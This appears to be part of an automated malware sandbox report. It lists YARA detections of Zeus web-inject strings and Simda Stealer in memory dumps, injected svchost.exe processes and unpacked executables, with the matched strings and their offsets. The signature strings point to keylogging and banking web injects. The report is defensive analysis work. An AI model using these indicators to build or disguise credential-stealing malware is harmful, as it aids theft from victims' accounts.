00000002.00000002.3416553301.00000000029F3000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x477f4:$a1: name=%s&port=%u 0x46fc8:$a2: data_inject 0x4717c:$a3: keylog.txt 0x46e5d:$a4: User-agent: %s]]] 0x47944:$a5: %s\%02d.bmp
00000002.00000003.2760597306.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2773682224.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2649332327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000013.00000002.2639288300.00000000011D0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
0000000B.00000002.2649599507.0000000003270000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2776308232.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000007.00000002.2635595118.0000000001040000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2788341406.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2809880778.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000024.00000002.2845868580.00000000015B0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2785726916.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2787182616.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2758822752.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2809200397.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
00000000.00000002.2153786552.0000000000400000.00000040.00000001.01000000.00000005.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4dbf4:$a1: name=%s&port=%u 0x4d3c8:$a2: data_inject 0x4d57c:$a3: keylog.txt 0x4d25d:$a4: User-agent: %s]]] 0x4dd44:$a5: %s\%02d.bmp
00000002.00000003.2757164455.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2775825052.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
00000002.00000003.2168388667.0000000000881000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
00000002.00000003.2776041284.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2790907170.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2794030784.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2774710797.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2170461210.0000000002A50000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2792838901.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2773445866.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2791900704.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2789409871.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2784224437.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2790002799.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
0000001B.00000002.2728043702.0000000003040000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000006.00000002.2605946728.0000000001240000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
0000000B.00000002.2639594297.0000000002EA0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000002.00000003.2810131303.0000000000B00000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000009.00000002.2610520727.00000000009C0000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x48bf4:$a1: name=%s&port=%u 0x483c8:$a2: data_inject 0x4857c:$a3: keylog.txt 0x4825d:$a4: User-agent: %s]]] 0x48d44:$a5: %s\%02d.bmp
00000027.00000002.2872659642.0000000000D30000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
00000002.00000003.2707114238.0000000003C40000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
00000002.00000003.2678865886.0000000002D30000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
Process Memory Space: UMwpXhA46R.exe PID: 7020	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
Process Memory Space: UMwpXhA46R.exe PID: 7020	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x14052:$a1: name=%s&port=%u 0x3cdc7:$a1: name=%s&port=%u 0x1301b:$a2: data_inject 0x3bd90:$a2: data_inject 0x13568:$a3: keylog.txt 0x3c2dd:$a3: keylog.txt 0x12eea:$a4: User-agent: %s]]] 0x3bc5f:$a4: User-agent: %s]]] 0x14156:$a5: %s\%02d.bmp 0x3cecb:$a5: %s\%02d.bmp
Process Memory Space: svchost.exe PID: 1112	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
Process Memory Space: svchost.exe PID: 1112	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x201e6:$a1: name=%s&port=%u 0x418e9:$a1: name=%s&port=%u 0xc700a:$a1: name=%s&port=%u 0xee00d:$a1: name=%s&port=%u 0x2bf090:$a1: name=%s&port=%u 0x2cb7a4:$a1: name=%s&port=%u 0x30ac00:$a1: name=%s&port=%u 0x1f1a4:$a2: data_inject 0x408a7:$a2: data_inject 0xc5fd3:$a2: data_inject 0xecfcb:$a2: data_inject 0x2be04e:$a2: data_inject 0x2ca76d:$a2: data_inject 0x309bbe:$a2: data_inject 0x1f6f1:$a3: keylog.txt 0x40df4:$a3: keylog.txt 0xc6520:$a3: keylog.txt 0xed518:$a3: keylog.txt 0x2be59b:$a3: keylog.txt 0x2cacba:$a3: keylog.txt 0x30a10b:$a3: keylog.txt
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6912	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x12b6f:$a1: name=%s&port=%u 0x38a38:$a1: name=%s&port=%u 0x11b2d:$a2: data_inject 0x379f6:$a2: data_inject 0x1207a:$a3: keylog.txt 0x37f43:$a3: keylog.txt 0x119fc:$a4: User-agent: %s]]] 0x378c5:$a4: User-agent: %s]]] 0x12c73:$a5: %s\%02d.bmp 0x38b3c:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1220	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x1f16d:$a1: name=%s&port=%u 0x3d392:$a1: name=%s&port=%u 0x1e12b:$a2: data_inject 0x3c350:$a2: data_inject 0x1e678:$a3: keylog.txt 0x3c89d:$a3: keylog.txt 0x1dffa:$a4: User-agent: %s]]] 0x3c21f:$a4: User-agent: %s]]] 0x1f271:$a5: %s\%02d.bmp 0x3d496:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 2268	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x12202:$a1: name=%s&port=%u 0x3277f:$a1: name=%s&port=%u 0x111c0:$a2: data_inject 0x3173d:$a2: data_inject 0x1170d:$a3: keylog.txt 0x31c8a:$a3: keylog.txt 0x1108f:$a4: User-agent: %s]]] 0x3160c:$a4: User-agent: %s]]] 0x12306:$a5: %s\%02d.bmp 0x32883:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3472	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x261a0:$a1: name=%s&port=%u 0x3ce32:$a1: name=%s&port=%u 0x2515e:$a2: data_inject 0x3bdf0:$a2: data_inject 0x256ab:$a3: keylog.txt 0x3c33d:$a3: keylog.txt 0x2502d:$a4: User-agent: %s]]] 0x3bcbf:$a4: User-agent: %s]]] 0x262a4:$a5: %s\%02d.bmp 0x3cf36:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1492	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x9506:$a1: name=%s&port=%u 0x12fe1:$a1: name=%s&port=%u 0x84c4:$a2: data_inject 0x11f9f:$a2: data_inject 0x8a11:$a3: keylog.txt 0x124ec:$a3: keylog.txt 0x8393:$a4: User-agent: %s]]] 0x11e6e:$a4: User-agent: %s]]] 0x960a:$a5: %s\%02d.bmp 0x130e5:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6628	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x108e5:$a1: name=%s&port=%u 0x22a3c:$a1: name=%s&port=%u 0xf8a3:$a2: data_inject 0x219fa:$a2: data_inject 0xfdf0:$a3: keylog.txt 0x21f47:$a3: keylog.txt 0xf772:$a4: User-agent: %s]]] 0x218c9:$a4: User-agent: %s]]] 0x109e9:$a5: %s\%02d.bmp 0x22b40:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 5128	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x3ee9:$a1: name=%s&port=%u 0x18870:$a1: name=%s&port=%u 0x2ea7:$a2: data_inject 0x1782e:$a2: data_inject 0x33f4:$a3: keylog.txt 0x17d7b:$a3: keylog.txt 0x2d76:$a4: User-agent: %s]]] 0x176fd:$a4: User-agent: %s]]] 0x3fed:$a5: %s\%02d.bmp 0x18974:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 2948	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x3652:$a1: name=%s&port=%u 0x10ed8:$a1: name=%s&port=%u 0x2610:$a2: data_inject 0xfe96:$a2: data_inject 0x2b5d:$a3: keylog.txt 0x103e3:$a3: keylog.txt 0x24df:$a4: User-agent: %s]]] 0xfd65:$a4: User-agent: %s]]] 0x3756:$a5: %s\%02d.bmp 0x10fdc:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3416	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0xbf54:$a1: name=%s&port=%u 0x319f8:$a1: name=%s&port=%u 0xaf12:$a2: data_inject 0x309b6:$a2: data_inject 0xb45f:$a3: keylog.txt 0x30f03:$a3: keylog.txt 0xade1:$a4: User-agent: %s]]] 0x30885:$a4: User-agent: %s]]] 0xc058:$a5: %s\%02d.bmp 0x31afc:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3328	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0xedba:$a1: name=%s&port=%u 0x1b6c5:$a1: name=%s&port=%u 0xdd78:$a2: data_inject 0x1a683:$a2: data_inject 0xe2c5:$a3: keylog.txt 0x1abd0:$a3: keylog.txt 0xdc47:$a4: User-agent: %s]]] 0x1a552:$a4: User-agent: %s]]] 0xeebe:$a5: %s\%02d.bmp 0x1b7c9:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 3896	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x5586:$a1: name=%s&port=%u 0xda62:$a1: name=%s&port=%u 0x4544:$a2: data_inject 0xca20:$a2: data_inject 0x4a91:$a3: keylog.txt 0xcf6d:$a3: keylog.txt 0x4413:$a4: User-agent: %s]]] 0xc8ef:$a4: User-agent: %s]]] 0x568a:$a5: %s\%02d.bmp 0xdb66:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 6212	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x1d91b:$a1: name=%s&port=%u 0x33423:$a1: name=%s&port=%u 0x1c8d9:$a2: data_inject 0x323e1:$a2: data_inject 0x1ce26:$a3: keylog.txt 0x3292e:$a3: keylog.txt 0x1c7a8:$a4: User-agent: %s]]] 0x322b0:$a4: User-agent: %s]]] 0x1da1f:$a5: %s\%02d.bmp 0x33527:$a5: %s\%02d.bmp
Process Memory Space: PMnAVsjMPucERAKEWNFImySCFHoLk.exe PID: 1476	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x226fd:$a1: name=%s&port=%u 0x40992:$a1: name=%s&port=%u 0x216bb:$a2: data_inject 0x3f950:$a2: data_inject 0x21c08:$a3: keylog.txt 0x3fe9d:$a3: keylog.txt 0x2158a:$a4: User-agent: %s]]] 0x3f81f:$a4: User-agent: %s]]] 0x22801:$a5: %s\%02d.bmp 0x40a96:$a5: %s\%02d.bmp
Click to see the 103 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.fe2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.13.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.886c00.3.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.2.svchost.exe.2c70000.4.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.56.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.886000.4.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x477f4:$a1: name=%s&port=%u 0x46fc8:$a2: data_inject 0x4717c:$a3: keylog.txt 0x46e5d:$a4: User-agent: %s]]] 0x47944:$a5: %s\%02d.bmp
11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3270000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2560000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.34.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.30.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.20.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.36.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
